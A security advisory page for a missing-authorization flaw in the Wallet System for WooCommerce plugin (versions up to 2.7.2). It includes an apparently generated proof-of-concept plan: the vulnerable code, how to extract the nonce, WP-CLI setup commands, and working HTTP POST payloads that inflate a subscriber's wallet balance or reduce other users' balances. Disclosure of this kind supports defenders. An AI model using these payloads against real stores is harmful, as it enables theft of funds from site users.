Wallet System for WooCommerce <= 2.7.2 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Wallet Balance Manipulation
Description
The Wallet System for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'change_wallet_fund_request_status_callback' function in all versions up to, and including, 2.7.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to manipulate wallet withdrawal requests and arbitrarily increase their wallet balance or decrease other users' balances.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:NTechnical Details
<=2.7.2What Changed in the Fix
Changes introduced in v2.7.3
Source Code
WordPress.org SVNThis plan outlines the steps required to demonstrate the arbitrary wallet balance manipulation vulnerability in the Wallet System for WooCommerce plugin. ### 1. Vulnerability Summary The `Wallet_System_AjaxHandler` class in Wallet System for WooCommerce (<= 2.7.2) registers an AJAX action `change_w…
Show full research plan
This plan outlines the steps required to demonstrate the arbitrary wallet balance manipulation vulnerability in the Wallet System for WooCommerce plugin.
1. Vulnerability Summary
The Wallet_System_AjaxHandler class in Wallet System for WooCommerce (<= 2.7.2) registers an AJAX action change_wallet_fund_request_status which maps to the change_wallet_fund_request_status_callback function. This function lacks any capability checks (e.g., current_user_can()), allowing any authenticated user (including Subscriber-level accounts) to invoke it.
The function processes wallet fund requests by accepting user-provided IDs and amounts. Because it trusts POST parameters for the target user ID and the balance amount without verifying them against the original request post, an attacker can manipulate these values to either double their own balance or decrease the balance of other users.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
change_wallet_fund_request_status - Method: POST
- Authentication: Required (Subscriber or higher)
- Vulnerable Parameter(s):
requesting_user_id: The ID of the user whose balance will be modified.status: Must be set toapprovedto trigger the balance update.withdrawal_balance: The amount to add (positive) or subtract (negative).request_id: Required by the code but not strictly validated against the other parameters; a dummy ID or a valid post ID of any type may suffice.
- Nonce:
nonceparameter, validating theajax-nonceaction.
3. Code Flow
- Entry Point:
includes/class-wallet-system-ajaxhandler.phpregisters the hook:add_action( 'wp_ajax_change_wallet_fund_request_status', array( &$this, 'change_wallet_fund_request_status_callback' ) ); - Nonce Verification:
change_wallet_fund_request_status_callbackcallscheck_ajax_referer( 'ajax-nonce', 'nonce' );. - Authorization Gap: The function checks
is_user_logged_in()but fails to check for administrative capabilities. - Input Processing: The function retrieves
requesting_user_idandwithdrawal_balancedirectly from$_POST. - Vulnerable Logic:
if ( 'approved' == $status ) { $requesting_user_wallet = get_user_meta( $requesting_user_id, 'wps_wallet', true ); $user_wallet = get_user_meta( $user_id, 'wps_wallet', true ); // current attacker's wallet if ( $user_wallet >= $withdrawal_balance ) { // Attacker just needs enough balance to "cover" the request $requesting_user_wallet += $withdrawal_balance; update_user_meta( $requesting_user_id, 'wps_wallet', $requesting_user_wallet ); } } - Sink:
update_user_metamodifies the database for the targeted$requesting_user_id.
4. Nonce Acquisition Strategy
The ajax-nonce is localized in the wsfw_public_param object and is typically available on any page where the wallet UI is loaded (e.g., the My Account page or a page with a wallet shortcode).
- Shortcode Identification: The plugin uses the
[wps-wallet]shortcode (referenced inREADME.txt). - Page Creation: Create a temporary page with this shortcode to ensure the scripts and nonces are loaded.
- Navigation: Navigate to this page as the Subscriber user.
- Extraction: Use
browser_evalto retrieve the nonce:window.wsfw_public_param?.nonce
5. Test Data Setup
- Victim User: A user (ID 2) with a balance of 500:
wp user meta update 2 wps_wallet 500 - Attacker User: A Subscriber user (ID 3) with a balance of 100:
wp user create attacker attacker@example.com --role=subscriber --user_pass=passwordwp user meta update 3 wps_wallet 100 - Trigger Page:
wp post create --post_type=page --post_status=publish --post_title="Wallet" --post_content='[wps-wallet]' - Valid Request ID: While the code doesn't strictly validate it, create a dummy post to be safe:
wp post create --post_type=post --post_status=publish --post_title="Dummy"(Note the resulting ID, e.g., 10).
6. Exploitation Strategy
Scenario A: Arbitrary Balance Increase (Self)
- Target: Attacker (ID 3).
- Action: POST to
admin-ajax.php. - Payload:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=change_wallet_fund_request_status&nonce=[NONCE]&request_id=10&requesting_user_id=3&status=approved&withdrawal_balance=100 - Expected Effect: The balance check
100 >= 100passes. Attacker's balance becomes100 + 100 = 200.
Scenario B: Arbitrary Balance Decrease (Victim)
- Target: Victim (ID 2).
- Action: POST to
admin-ajax.php. - Payload:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=change_wallet_fund_request_status&nonce=[NONCE]&request_id=10&requesting_user_id=2&status=approved&withdrawal_balance=-100 - Expected Effect: The balance check
100 >= -100passes. Victim's balance becomes500 + (-100) = 400.
7. Expected Results
- The server will return a JSON response (due to
wp_send_jsoncalls in the handler or trailing code). - The targeted user's
wps_walletmeta value will change. - No "Unauthorized" or 403 error will be returned to the Subscriber.
8. Verification Steps
After performing the HTTP requests, verify the changes using WP-CLI:
# Check Attacker Balance (Scenario A)
wp user meta get 3 wps_wallet
# Expected: 200
# Check Victim Balance (Scenario B)
wp user meta get 2 wps_wallet
# Expected: 400
9. Alternative Approaches
If Scenario B (negative balance) fails due to internal sanitization (though (float) is used), try Scenario C: Transfer from Admin to Self.
If the plugin is configured to use a specific gateway for withdrawals, the request_id might need to be a post of type wallet_fund_request. You can create one via CLI:wp post create --post_type=wallet_fund_request --post_status=publish --post_title="Request"
And use its ID in the request_id field. However, looking at the code, get_post($request_id) is called but its properties aren't used to override the $_POST values, so any valid post ID should work.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.